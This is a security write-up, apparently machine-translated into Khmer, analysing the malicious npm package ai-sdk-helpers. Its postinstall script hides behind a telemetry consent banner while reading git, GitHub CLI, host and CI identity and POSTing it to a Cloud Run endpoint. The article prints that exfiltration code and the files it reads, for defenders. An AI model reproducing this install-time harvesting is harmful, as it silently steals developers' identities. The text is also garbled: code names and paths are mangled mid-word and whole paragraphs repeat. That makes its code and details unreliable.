ConsentMask កញ្ចប់ npm លាក់ការប្រមូលផលអត្តសញ្ញាណអ្នកអភិវឌ្ឍន៍

ConsentMask៖ កញ្ចប់ npm ដែលពាក់បដាយល់ព្រម Telemetry លើការប្រមូលផលអត្តសញ្ញាណអ្នកអភិវឌ្ឍន៍

​មាតិកា

ប្រកាសដែលត្រូវតែអាន

ប្រកាសថ្មីៗបំផុតដែលគួរឱ្យចាប់អារម្មណ៍

TL; កុង

កញ្ចប់ npm តែមួយ, ai-sdk-helpersបង្ហាញខ្លួនវាជាឧបករណ៍ផលិតកម្មសម្រាប់ Vercel AI SDK ដែលផ្តល់ជូននូវការតាមដានថ្លៃដើម ការគាំទ្រអ្នកផ្តល់សេវា និងជំនួយស្ទ្រីម។

ស្គ្រីបពេលវេលាដំឡើងរបស់វាបើកជាមួយបដាបង្ហាញព័ត៌មានដែលបានកែលម្អដែលពិពណ៌នាអំពី ការធ្វើរោគវិនិច្ឆ័យអនាមិកដោយសន្យាថានឹងមិនមានកូដប្រភព ថូខឹន ឬព័ត៌មានសម្ងាត់ណាមួយត្រូវបានបញ្ជូនឡើយ ដោយគោរពតាម DO_NOT_TRACK ជ្រើសរើសមិនចូលរួម និងភ្ជាប់ទៅទំព័រគោលការណ៍ទូរមាត្រ។

បន្ទាប់មក ស្គ្រីបដូចគ្នាអានអត្តសញ្ញាណ git របស់អ្នកអភិវឌ្ឍន៍ ការកំណត់រចនាសម្ព័ន្ធ GitHub CLI ឈ្មោះម៉ាស៊ីន ឈ្មោះអ្នកប្រើប្រាស់ប្រព័ន្ធប្រតិបត្តិការ ថតឯកសារការងារ និងអ្នកផ្តល់សេវា CI។

ទិន្នន័យនោះត្រូវបាន POSTed ជា JSON ទៅកាន់ចំណុចបញ្ចប់ Google Cloud Run ដែលបង្កើតភាពមិនស៊ីគ្នាច្បាស់លាស់រវាងគោលការណ៍ទូរមាត្រដែលបានបញ្ជាក់ និងវាលជាក់ស្តែងដែលប្រមូលបាន។

កញ្ចប់នេះត្រូវបានបោះពុម្ពផ្សាយជាម្ភៃពីរកំណែក្នុងរយៈពេល 83 វិនាទីតែមួយ ហើយស្គ្រីបដំឡើងគឺដូចគ្នាបេះបិទនៅទូទាំងកំណែដែលបានដាក់ទង់។

ក្នុងចំណោមកំណែទាំងប្រាំបី កំណែចំនួនប្រាំពីរត្រូវបានពិនិត្យដោយយើង pipeline ត្រូវបានវាយតម្លៃមិនច្បាស់លាស់ដោយឧបករណ៍ចាត់ថ្នាក់ ML ពីព្រោះរចនាប័ទ្មបដាយល់ព្រមអានដូចជាទូរមាត្រស្របច្បាប់។

យើងចាត់ថ្នាក់ ai-sdk-helpers ជា​មេរោគ​ដែល​ផ្អែក​លើ​ការ​ប្រមូល​អត្តសញ្ញាណ​អ្នក​អភិវឌ្ឍន៍​ក្នុង​ពេល​ដំឡើង និង​ការ​លួច​យក​អត្តសញ្ញាណ។

ភាពធ្ងន់ធ្ងរ៖ ខ្ពស់។

 កាយវិភាគសាស្ត្រនៃការដំឡើង

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

ក្រោយការដំឡើង ដំណើរការដោយស្វ័យប្រវត្តិនៅលើ ល្ងាចដំឡើងមុនពេលដែលកូដដែលបានផ្សព្វផ្សាយណាមួយរបស់កញ្ចប់ត្រូវបាននាំចូល។ ស្គ្រីប ស្គ្រីប/ក្រោយការដំឡើង.js គឺជាកន្លែងដែលឥរិយាបថពេលវេលាដំឡើងទាំងអស់ស្ថិតនៅ។

វាបើកជាមួយនឹងប្លុកមតិយោបល់ និងការជូនដំណឹងពេលដំណើរការដែលសរសេរនៅក្នុងបញ្ជីនៃគម្រោងប្រភពបើកចំហដែលគិតគូរពីភាពឯកជន៖

>នៅពេលអ្នកដំឡើង ai-sdk-helpers យើងដំណើរការការត្រួតពិនិត្យភាពឆបគ្នានៃបរិស្ថានយ៉ាងរហ័ស និងរាយការណ៍ពីការធ្វើរោគវិនិច្ឆ័យអនាមិក... ទិន្នន័យគឺអនាមិកទាំងស្រុង — យើងប្រមូលវេទិការបស់អ្នក កំណែ Node និងហាសតែមួយផ្លូវនៃឧបករណ៍កំណត់អត្តសញ្ញាណម៉ាស៊ីនរបស់អ្នក។ គ្មានកូដប្រភព ថូខឹន ឬព័ត៌មានសម្ងាត់ត្រូវបានបញ្ជូនឡើយ។

វាថែមទាំងភ្ជាប់ខ្សែច្រកចេញចូលដែលដំណើរការ ដែលជាកូដដែលអាចប្រតិបត្តិបានដំបូងនៅក្នុងឯកសារ៖

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

ការចង​ច្រកទ្វារ​នេះ​ជាមុនសិន គឺជា​អ្វីដែល​ធ្វើឱ្យ​អ្វី​ដែលនៅសល់​ត្រូវបាន​អាន​ថាជា​ការព្រមព្រៀងគ្នា៖ អ្នកអភិវឌ្ឍន៍​ដែល​កំណត់ `D_មិន_តាមដាន` ឃើញការដំឡើងបញ្ចប់ដោយស្ងៀមស្ងាត់ ហើយបញ្ចប់កញ្ចប់ដោយគោរពតាមអនុសញ្ញា។ ការបដិសេធមិនចូលរួមដែលមានកិត្តិយសគឺជារឿងពិត។ អ្វីដែលវារារាំង សម្រាប់អ្នករាល់គ្នាដែលមិនបានកំណត់វា គឺការប្រមូលផ្តុំដែលបានពិពណ៌នាខាងក្រោម — មិនមែនជា "វេទិកា កំណែណូត និងហាសមួយផ្លូវ" ដែលតូចចង្អៀតដូចឈ្មោះនៃការជូនដំណឹងនោះទេ។

នៅខាងក្រោមច្រកទ្វារនោះ ស្គ្រីបបង្កើត payload ដែលលើសពីការពិពណ៌នានោះ។

  • *Gអត្តសញ្ញាណ t។* rដោះស្រាយScmអត្តសញ្ញាណ ()` អៀដស៍ `~.gitconfig`,`~.config/git/config`,និងគម្រោងបច្ចុប្បន្ន `` ។វា/កំណត់រចនាសម្ព័ន្ធ`,វិភាគ `[ស៊ែរ]` ection ហើយប្រគល់មកវិញនូវអ្វីដែលបានកំណត់រចនាសម្ព័ន្ធ commit អ៊ីមែល។ ប្រសិនបើឯកសារកំណត់រចនាសម្ព័ន្ធមិនបង្ហាញអ៊ីមែលទេ វានឹងធ្លាក់ចូលទៅក្នុង `Gអ៊ីមែល​អ្នក​និពន្ធ`GT_COMMITTER_EMAIL`,និង `អ៊ីអាយអិល អថេរបរិស្ថាន។ docstring ខាងលើអនុគមន៍ដាក់ស៊ុមការអានជាមធ្យោបាយមួយ "ដើម្បីលុបការដំឡើងស្ទួននៅទូទាំងម៉ាស៊ីនដែលជាកម្មសិទ្ធិរបស់មនុស្សដូចគ្នា (ឧទាហរណ៍ កុំព្យូទ័រយួរដៃ + CI)" - គោលបំណងដែលបានបញ្ជាក់ដែលតម្រូវឱ្យមានឧបករណ៍កំណត់អត្តសញ្ញាណដែលមានស្ថេរភាពក្នុងមួយអ្នកអភិវឌ្ឍន៍ ដែល commit សម្ភារៈអ៊ីមែល។
  • *Gគណនី tHub។* rsolveGitHubIdentity()` អៀដស៍ `~.config/gh/hosts.yml` ទី `~.config/gh/hosts.yaml` ឯកសារកំណត់រចនាសម្ព័ន្ធដែលសរសេរដោយ GitHub CLI នៅពេលដែលអ្នកអភិវឌ្ឍន៍ផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវ — និង regex-extracts `uអឺ៖` ន. អ៊ីអាយល៖` វាល។ ឯកសារនោះក៏រក្សាទុកសញ្ញាសម្ងាត់ GitHub OAuth ផងដែរ។ regex របស់ស្គ្រីបកំណត់គោលដៅឈ្មោះអ្នកប្រើប្រាស់ និងបន្ទាត់អ៊ីមែលជាពិសេស ហើយមិនទាញយកសញ្ញាសម្ងាត់នោះទេ។ ដូច្នេះ ការអះអាង "គ្មានសញ្ញាសម្ងាត់... ត្រូវបានបញ្ជូនឡើយ" របស់បដាបង្ហាញព័ត៌មានគឺពិតសម្រាប់វាលមួយនោះ ខណៈពេលដែលឧបករណ៍កំណត់អត្តសញ្ញាណគណនីជុំវិញត្រូវបានអាន និងផ្ញើ។
  • *Hស្នាមម្រាមដៃ st និង CI។* ស្គ្រីបបន្ទាប់មកប្រមូល `o.ឈ្មោះម៉ាស៊ីន()`,`o.userInfo().ឈ្មោះអ្នកប្រើប្រាស់`,កំណែ Node វេទិកា និងស្ថាបត្យកម្ម `pocess.cwd()`,និងស្លាកអ្នកផ្តល់សេវា CI ដែលត្រូវបានដោះស្រាយដោយការត្រួតពិនិត្យអថេរបរិស្ថានសម្រាប់អ្នកផ្តល់សេវាចំនួនប្រាំបី (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite និងទង់ generic-CI ពីរ)។ បញ្ជីអ្នកផ្តល់សេវាអានជាសារពើភ័ណ្ឌនៃកន្លែងដែលស្គ្រីបរំពឹងថានឹងប្រតិបត្តិ — សែលអន្តរកម្ម និងការបង្កើតដោយស្វ័យប្រវត្តិ។ pipelineដូចគ្នា

ទាំងអស់នេះត្រូវបានដាក់ជាក្រុមទៅជា `d តែមួយអ្នក​មិន​ជឿ​សាសនា bject ជាមួយនឹងវាលនីមួយៗសម្រាប់អ្នកអភិវឌ្ឍន៍ដែលប្រមូលបានក្រោម `iអង្គភាព ey និងទិន្នន័យម៉ាស៊ីននៅក្រោម `rពេលវេលា ទី `គntext` eys បន្ទាប់មកត្រូវបានធ្វើស៊េរី និងបញ្ជូន៖

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

ការឆ្លើយតបត្រូវបានលុបចោល ហើយកំហុសទាំងអស់ត្រូវបានលេបត្របាក់ — មតិយោបល់មួយកត់សម្គាល់ថា "ទូរមាត្រមិនត្រូវបំបែកការដំឡើងឡើយ"។ ឈ្មោះម៉ាស៊ីនចំណុចបញ្ចប់អ៊ិនកូដសេវាកម្ម Google Cloud Run នៅក្នុង `eខ្សែពួរ-ខាងលិច១` អេជីយ៉ុង។

ចន្លោះប្រហោងគឺជារឿងរ៉ាវ។ បដានេះដាក់ឈ្មោះប្រភេទទិន្នន័យបីប្រភេទ — វេទិកា កំណែណូត និងហាសសម្គាល់ម៉ាស៊ីន។ បន្ទុកទិន្នន័យផ្ញើ git ពិតប្រាកដរបស់អ្នកអភិវឌ្ឍន៍។ commit អ៊ីមែល ឈ្មោះអ្នកប្រើប្រាស់ និងអ៊ីមែល GitHub របស់ពួកគេ ឈ្មោះម៉ាស៊ីន និងឈ្មោះគណនីប្រព័ន្ធប្រតិបត្តិការរបស់ពួកគេ ផ្លូវគម្រោងរបស់ពួកគេ និងបរិស្ថាន CI របស់ពួកគេ។ វាលដែលកំណត់អត្តសញ្ញាណ *prson និងគណនីរបស់ពួកគេ* ឆ្លើយតបទៅនឹងវាលដែលការបង្ហាញត្រូវបានលុបចោល។

README ពង្រឹង​ការ​ដាក់​ស៊ុម​ពី​ម្ខាង​ទៀត។ ផ្នែក "Telemetry" របស់​វា​ធ្វើ​ឡើង​វិញ​នូវ​ការ​អះអាង​អនាមិក និង​ភ្ជាប់​ពាក្យ `D_មិន_តាមដាន` អូ `ស៊ីnsoledonottrack.com`,ទំព័រសហគមន៍ពិតប្រាកដដែលកត់ត្រាអនុសញ្ញាជ្រើសរើសមិនចូលរួម — ខ្ចីភាពឯកជនដែលទទួលស្គាល់ standard ដើម្បីធ្វើឱ្យការជូនដំណឹងត្រូវបានអានជាទម្លាប់។

ការកំណត់ពេលវេលា

នេះគឺជាការរកឃើញកញ្ចប់តែមួយដែលមានប្រវត្តិបោះពុម្ពផ្សាយខ្លី និងក្រាស់ក្រែល។ មិនមានដំណើរយុទ្ធនាការច្រើនសប្តាហ៍ដើម្បីតាមដានទេ — ជួរកំណែទាំងមូលត្រូវបានជំរុញក្នុងល្បឿនម៉ាស៊ីន។

ពេលណា (UTC) ព្រឹត្តការណ៍
2026-06-03 20:31:20 កំណែដំបូង (0.1.0) បានបោះពុម្ពផ្សាយទៅកាន់ npm។
2026-06-03 20:31:20 – 20:32:43 កំណែទាំង ២២ (0.1.0 តាមរយៈការ 1.4.2) បានចេញផ្សាយក្នុងរយៈពេល 83 វិនាទីដោយស្វ័យប្រវត្តិ។
2026-06-04 កំណែចំនួនប្រាំបីត្រូវបានសម្គាល់ដោយសញ្ញារកឃើញ; ការវិភាគដោយដៃបញ្ជាក់ពីការប្រមូលអត្តសញ្ញាណពេលដំឡើង និងការច្រោះចេញ។ កញ្ចប់នៅតែដំណើរការនៅលើ npm នៅពេលវិភាគ។

ចន្លោះពេល ៨៣ វិនាទី​លើ​កំណែ​ន័យ​ចំនួន ២២ គឺជា​សូចនាករ​អាកប្បកិរិយា​មួយ៖ ជណ្ដើរ​កំណែ (`០១.១`,`0១.១`,… `១៤.២`)បង្ហាញ​ផ្ទៃ​នៃ​គម្រោង​ដែល​បាន​ថែទាំ​យ៉ាង​សកម្ម​ជាមួយ​នឹង​ប្រវត្តិ​ចេញផ្សាយ ដែល​បាន​ផលិត​ក្នុង​ការ​ដំណើរការ​ស្គ្រីប​មួយ។ ស្គ្រីប​ដំឡើង​មិន​ផ្លាស់ប្ដូរ​នៅ​លើ​ជណ្ដើរ​នោះ​ទេ — សូម​មើល​ខាងក្រោម។

សូចនាករនៃការសម្របសម្រួល

បន្ទុក​ពេល​ដំឡើង​គឺ​ដូចគ្នា​បេះបិទ​ទូទាំង​ជួរ​កំណែ​ដែល​បាន​បោះពុម្ពផ្សាយ។ A `dff` ហ្វ `sripts/postinstall.js` រវាងកំណែ `០២៣៥ ` កំណែទី 1២៣៥ ` មិនបង្ហាញភាពខុសគ្នាទេ។ ឥរិយាបថគឺជាស្នាមម្រាមដៃថេរមួយ មិនមែនជាបន្ទុកដែលកំពុងវិវត្តន៍នោះទេ។

Network

ចន្លោះពេល ៨៣ វិនាទី​លើ​កំណែ​ន័យ​ចំនួន ២២ គឺជា​សូចនាករ​អាកប្បកិរិយា​មួយ៖ ជណ្ដើរ​កំណែ (`០១.១`,`0១.១`,… `១៤.២`)បង្ហាញ​ផ្ទៃ​នៃ​គម្រោង​ដែល​បាន​ថែទាំ​យ៉ាង​សកម្ម​ជាមួយ​នឹង​ប្រវត្តិ​ចេញផ្សាយ ដែល​បាន​ផលិត​ក្នុង​ការ​ដំណើរការ​ស្គ្រីប​មួយ។ ស្គ្រីប​ដំឡើង​មិន​ផ្លាស់ប្ដូរ​នៅ​លើ​ជណ្ដើរ​នោះ​ទេ — សូម​មើល​ខាងក្រោម។

សូចនាករនៃការសម្របសម្រួល

បន្ទុក​ពេល​ដំឡើង​គឺ​ដូចគ្នា​បេះបិទ​ទូទាំង​ជួរ​កំណែ​ដែល​បាន​បោះពុម្ពផ្សាយ។ A `dff` ហ្វ `sripts/postinstall.js` រវាងកំណែ `០២៣៥ ` កំណែទី 1២៣៥ ` មិនបង្ហាញភាពខុសគ្នាទេ។ ឥរិយាបថគឺជាស្នាមម្រាមដៃថេរមួយ មិនមែនជាបន្ទុកដែលកំពុងវិវត្តន៍នោះទេ។

Network

ទ្រនិចបង្ហាញ តួនាទី
npm-package-logger-228835561205.europe-west1.run.app ចំណុចបញ្ចប់ Exfiltration ដែលទទួលសំណើ HTTPS POST ជាមួយ JSON payloads។ បង្ហោះនៅលើ Google Cloud Run នៅក្នុង europe-west1 តំបន់។

ហេដ្ឋារចនាសម្ព័ន្ធក្លែងក្លាយ

ទ្រនិចបង្ហាញ តួនាទី
ai-sdk.guide ទំព័រដើមកញ្ចប់ និងគេហទំព័រផ្ទាល់ដែលគាំទ្រអត្តសញ្ញាណអ្នកនិពន្ធ "AI SDK Guide"។
ai-sdk.guide/telemetry URL គោលការណ៍ទូរមាត្រដែលបានយោងនៅក្នុងការជូនដំណឹងអំពីការបង្ហាញពេលវេលាដំឡើង។
hello@ai-sdk.guide អ៊ីមែលអ្នកនិពន្ធបានប្រកាសនៅក្នុង package.json.
github.com/ai-sdk-guide/ai-sdk-helpers ឃ្លាំងប្រភពត្រូវបានប្រកាសដោយកញ្ចប់។

ឯកសារត្រូវបានអាននៅពេលដំឡើង

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` ហ្គីត `[ស៊ែរ]` សំបុត្រ
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uអឺ `eអាយល

ហត្ថលេខាអាកប្បកិរិយា

  • – ម `បដំឡើង oox កំពុងហៅស្គ្រីប Node ដែលបានចងក្រងជាបាច់
  • – ច្រកទ្វារជ្រើសរើសមិនចូលរួម (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_មិន_តាមដាន`)បានបង្ហាញជាមុខងារឯកជនភាព មុនការប្រមូលអត្តសញ្ញាណ
  • – ការបង្ហោះ HTTPS POST ទៅកាន់វត្ថុ JSON ដែលមានអ៊ីមែល git, អត្តសញ្ញាណ GitHub, ឈ្មោះម៉ាស៊ីន, ឈ្មោះអ្នកប្រើប្រាស់ប្រព័ន្ធប្រតិបត្តិការ, cwd និងស្លាក CI
  • – ស្គ្រីបដំឡើងដូចគ្នាបេះបិទនៅទូទាំងជណ្ដើរកំណែដែលបានបោះពុម្ពផ្សាយយ៉ាងឆាប់រហ័ស

 ការសន្មត់ និងឥរិយាបថដែលសង្កេតឃើញ
យើងមិនសន្មតអ្វីក្រៅពីអ្វីដែលកំណត់ត្រាទិន្នន័យមេតាកញ្ចប់ និងបញ្ជីឈ្មោះនោះទេ។

អ្នកថែរក្សាកំណត់ត្រា npm គឺជាគណនី `aអ៊ីលស៊ីម៉ូនជាមួយអាសយដ្ឋាន `កiel@vigilance.security`។បញ្ជីឈ្មោះអ៊ីមែលទាំងនោះត្រូវបានចុះបញ្ជីថាមិនទាន់បានផ្ទៀងផ្ទាត់ និងអត្តសញ្ញាណគ្រប់គ្រងប្រភពរបស់គណនីត្រូវបានចុះបញ្ជីថាមិនទាន់បានផ្ទៀងផ្ទាត់។ckage.json`,ដោយឡែកពីគ្នា បង្ហាញអ្នកនិពន្ធថាជា "មគ្គុទ្ទេសក៍ AI SDK `ello@ai-sdk.guide>`”ជាមួយ​គេហទំព័រ​របស់ `a-sdk.guide` និងឃ្លាំងប្រភពក្រោម `gអង្គការ thub.com/ai-sdk-guide`។ ដែនអ៊ីមែលរបស់គណនីបោះពុម្ពផ្សាយ (`vigilance.security`)និងអត្តសញ្ញាណអ្នកនិពន្ធនៅក្នុងកញ្ចប់ (`a-sdk.guide`)គឺជាដែនផ្សេងៗគ្នា។

អា-sdk.guide` ite កំពុងដំណើរការ ហើយឆ្លើយតប ហើយ `/ធាតុ​ម៉ែត្រី ath ដោះស្រាយ — អត្តសញ្ញាណបញ្ឆោតត្រូវបានគាំទ្រដោយវត្តមានបណ្ដាញដែលអាចទៅដល់បាន ជាជាងតំណភ្ជាប់ដែលស្លាប់ ដែលបង្កើនភាពជឿជាក់នៃស៊ុមរបស់កញ្ចប់។

**សមត្ថភាព​ដែល​បាន​សង្កេតឃើញ**។ នៅពេលដំឡើង កញ្ចប់អានអត្តសញ្ញាណអ្នកអភិវឌ្ឍន៍ និងឯកសារកំណត់រចនាសម្ព័ន្ធគណនី ស្កេនស្នាមម្រាមដៃរបស់ម៉ាស៊ីន និងបរិស្ថាន CI ហើយបញ្ជូនលទ្ធផលទៅកាន់ចំណុចបញ្ចប់ដែលគ្រប់គ្រងដោយប្រតិបត្តិករ ខណៈពេលដែលបង្ហាញការជូនដំណឹងដែលពិពណ៌នាអំពីសំណុំទិន្នន័យតូចចង្អៀត និងអនាមិក។ យើងពិពណ៌នាអំពីឥរិយាបថនេះ។ យើងមិនអះអាងពីហេតុផលសម្រាប់វាទេ។ អ្នកអានដែលវាយតម្លៃកញ្ចប់ — រួមទាំងភាគីណាមួយដែលទទួលស្គាល់អត្តសញ្ញាណបោះពុម្ពផ្សាយ — គួរតែថ្លឹងថ្លែងពីភាពមិនស៊ីគ្នាដែលអាចសង្កេតឃើញរវាងលំហូរទិន្នន័យដែលបានបញ្ជាក់ និងលំហូរទិន្នន័យជាក់ស្តែង។

ផលប៉ះពាល់ និន្នាការ និងការណែនាំសម្រាប់អ្នកការពារ

អ្នកណាដែលត្រូវបានលាតត្រដាង។ អ្នកណាដែលដំឡើង ai-sdk-helpers — ដោយផ្ទាល់ ឬជាការពឹងផ្អែកអន្តរកាល — ដំណើរការការប្រមូលផ្ដុំនៅលើម៉ាស៊ីននោះ។ ពីព្រោះ​គន្លឹះ​គឺ ក្រោយការដំឡើងកូដបណ្ណាល័យដែលបានផ្សព្វផ្សាយមិនចាំបាច់ត្រូវបាននាំចូលដើម្បីឱ្យលំហូរទិន្នន័យកើតឡើងទេ។ ការដំឡើងតែមួយគឺគ្រប់គ្រាន់ហើយ។ បរិស្ថានដែលមានតម្លៃខ្ពស់បំផុតគឺស្ថានីយការងាររបស់អ្នកអភិវឌ្ឍន៍ដែលមានអត្តសញ្ញាណ git ដែលបានកំណត់រចនាសម្ព័ន្ធ និង GitHub CLI ដែលបានផ្ទៀងផ្ទាត់ និងកម្មវិធីដំណើរការ CI ដែលការរកឃើញ CI-provider របស់ស្គ្រីបបង្ហាញថាការប្រមូលត្រូវបានគេរំពឹងថានឹងដំណើរការនៅខាងក្នុង build។ pipelineក៏ដូចជានៅលើកុំព្យូទ័រយួរដៃផងដែរ។

អ្វីដែលវាបង្ហាញ។ មិនមែនជាអាថ៌កំបាំងនៃកម្មវិធីក្នុងករណីទូទៅទេ — បន្ទុកបន្ទុកផ្តោតលើ អត្តសញ្ញាណ: អ្នកអភិវឌ្ឍន៍ commit អ៊ីមែល ឈ្មោះ និងអ៊ីមែលគណនី GitHub របស់ពួកគេ ឈ្មោះម៉ាស៊ីន និងគណនី និងផ្លូវគម្រោង។ នោះគឺជាការរៀបចំជាមុនcisផែនទី​នៃ​អ្នក​ដែល​បាន​ដំឡើង​កញ្ចប់ នៅលើ​ម៉ាស៊ីន​អ្វី នៅក្នុង​ឃ្លាំង​អ្វី និង​នៅក្រោម​ប្រព័ន្ធ CI ណា។ សម្រាប់​អង្គការ​មួយ កំណត់ត្រា​មួយចំនួន​ដែល​យក​មក​ជាមួយគ្នា​នឹង​រាយ​បញ្ជី​ថា​វិស្វករ​ណា និង​ប្រព័ន្ធ​សាងសង់​ណា​ដែល​ទាញ​ការពឹងផ្អែក — មានប្រយោជន៍​ជា​បុព្វបទ​សម្រាប់​សកម្មភាព​តាមដាន​ដែលមាន​គោលដៅ​ច្រើនជាង​មុន ទោះបីជា​ឥរិយាបថ​របស់​កញ្ចប់​នេះ​ឈប់​នៅ​ការប្រមូល និង​ការបញ្ជូន​ក៏ដោយ។

និន្នាការ៖ ទូរមាត្រជាការគ្របដណ្តប់។ ឧបករណ៍អភិវឌ្ឍន៍ស្របច្បាប់ពិតជាប្រមូលការធ្វើរោគវិនិច្ឆ័យការដំឡើងអនាមិក និងអនុសញ្ញាសម្រាប់ការធ្វើវាដោយគោរព — ការជូនដំណឹងអំពីការបង្ហាញព័ត៌មាន កុំតាមដាន honor, ទង់ជាតិ​ជ្រើសរើសមិនចូលរួម, URL គោលការណ៍ — ត្រូវបានគេស្គាល់យ៉ាងច្បាស់។ ai-sdk-helpers ផលិតឡើងវិញនូវអនុសញ្ញាទាំងបួននោះដោយស្មោះត្រង់ ហើយប្រើប្រាស់វាជាឯកសាររុំសម្រាប់ការប្រមូលអត្តសញ្ញាណ។ វត្តមាននៃបដាយល់ព្រម ជម្រើសមិនចូលរួមដែលដំណើរការ ឬតំណភ្ជាប់គោលការណ៍ឯកជនភាពមិនមែនជាភស្តុតាងដែលបង្ហាញថាកញ្ចប់មួយគួរឱ្យទុកចិត្តនោះទេ។ ការគ្រប់គ្រងទាំងនោះមានតម្លៃថោកក្នុងការធ្វើត្រាប់តាម។ ការត្រួតពិនិត្យដែលអាចទុកចិត្តបានតែមួយគត់គឺអ្វីដែលកូដពិតជាអាន និងកន្លែងដែលវាពិតជាផ្ញើវា។

ការវេចខ្ចប់នេះក៏មានឥទ្ធិពលដែលអាចវាស់វែងបានលើការជ្រើសរើសដោយស្វ័យប្រវត្តិផងដែរ។ នៅទូទាំងកំណែរបស់យើង pipeline បានពិនិត្យឡើងវិញ មតិយោបល់ភាសាសាមញ្ញរបស់ស្គ្រីបដំឡើង ឈ្មោះវាលដែលមានរចនាសម្ព័ន្ធ និងច្រកចេញចូលធម្មតា ត្រូវបានដាក់ពិន្ទុជាទូរមាត្រធម្មតា៖ ប្រាំពីរក្នុងចំណោមប្រាំបីបានត្រឡប់មកវិញ។ មិន​សន្និដ្ឋាន ពីឧបករណ៍ចាត់ថ្នាក់ ML ជាជាងព្យាបាទ។ សញ្ញាដែលដោះស្រាយភាពមិនច្បាស់លាស់មិនមែននៅក្នុងសំណេរទេ — វាស្ថិតនៅក្នុងឯកសារជាក់លាក់ដែលស្គ្រីបបើក (~ / .gitconfig, ~/.config/gh/hosts.yml) និងគោលដៅដែលវាផ្ញើទៅ។ អ្នកពិនិត្យឡើងវិញ ទាំងដោយស្វ័យប្រវត្តិ ឬជាមនុស្ស ដែលអានការបង្ហាញព័ត៌មាន ហើយឈប់នៅទីនោះ នឹងឈានដល់ការសន្និដ្ឋានខុស។ ការកំណត់ត្រូវតែមកពីការពិតនៃលំហូរទិន្នន័យ។

ការណែនាំសម្រាប់អ្នកការពារ៖

  • ដំឡើងជាមួយស្គ្រីបដែលត្រូវបានបិទតាមលំនាំដើម — npm ដំឡើង - មិនអើពើស្គ្រីបឬកំណត់ មិនអើពើស្គ្រីប = ពិត in .npmrc និងដំណើរការជំហានសាងសង់ដែលបានត្រួតពិនិត្យយ៉ាងច្បាស់លាស់។ នេះធ្វើឱ្យអព្យាក្រឹតភាព ក្រោយការដំឡើង- ការប្រមូលផ្ដុំដែលបង្កឡើងនៅទូទាំងក្តារ។
  • កុំចាត់ទុកការគ្រប់គ្រងជម្រើសមិនចូលរួមជាសញ្ញានៃការជឿទុកចិត្ត។ កុំតាមដាន ការត្រួតពិនិត្យ ឬតំណភ្ជាប់ "គោលការណ៍ទូរមាត្រ" មិនប្រាប់អ្នកអ្វីទាំងអស់អំពីទិន្នន័យដែលស្គ្រីបប្រមូលនៅពេលដែលច្រកទ្វារមិនត្រូវបានកំណត់។
  • សូមអានការណែនាំអំពីការដំឡើងមុនពេលទទួលយកកញ្ចប់ជំនួយប្រព័ន្ធអេកូឡូស៊ី AI។ លំហ Vercel AI SDK គឺជាគោលដៅដែលមានការជឿទុកចិត្តខ្ពស់ និងមានល្បឿនលឿន។ ក្រោយការដំឡើង ដែលប៉ះ ~ / .gitconfig or ~/.config/gh/ គឺជាសញ្ញាច្បាស់លាស់មួយ ដោយមិនគិតពីរបៀបដែលមតិយោបល់ជុំវិញត្រូវបានសរសេរនោះទេ។
  • ត្រួតពិនិត្យការចាកចេញនៃពេលវេលាសាងសង់។ ការបង្ហោះ HTTPS ចេញក្នុងអំឡុងពេល ល្ងាចដំឡើងជាពិសេសចំពោះចំណុចបញ្ចប់មុខងារពពកដែលទើបនឹងផ្តល់ជូនថ្មីៗ អាចសង្កេតឃើញនៅស្រទាប់បណ្តាញ និងជាចំណុចរកឃើញដ៏រឹងមាំសម្រាប់បរិស្ថាន CI។
  • សូមប្រយ័ត្នចំពោះជណ្ដើរកំណែដែលបានបង្ហាប់។ កញ្ចប់មួយដែលប្រវត្តិកំណែន័យវិទ្យាទាំងមូលរបស់វាលេចឡើងក្នុងរយៈពេលប៉ុន្មានវិនាទី ជាមួយនឹងស្គ្រីបដំឡើងដែលមិនផ្លាស់ប្តូរ កំពុងបង្ហាញប្រវត្តិថែទាំដែលផលិតឡើង។
ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni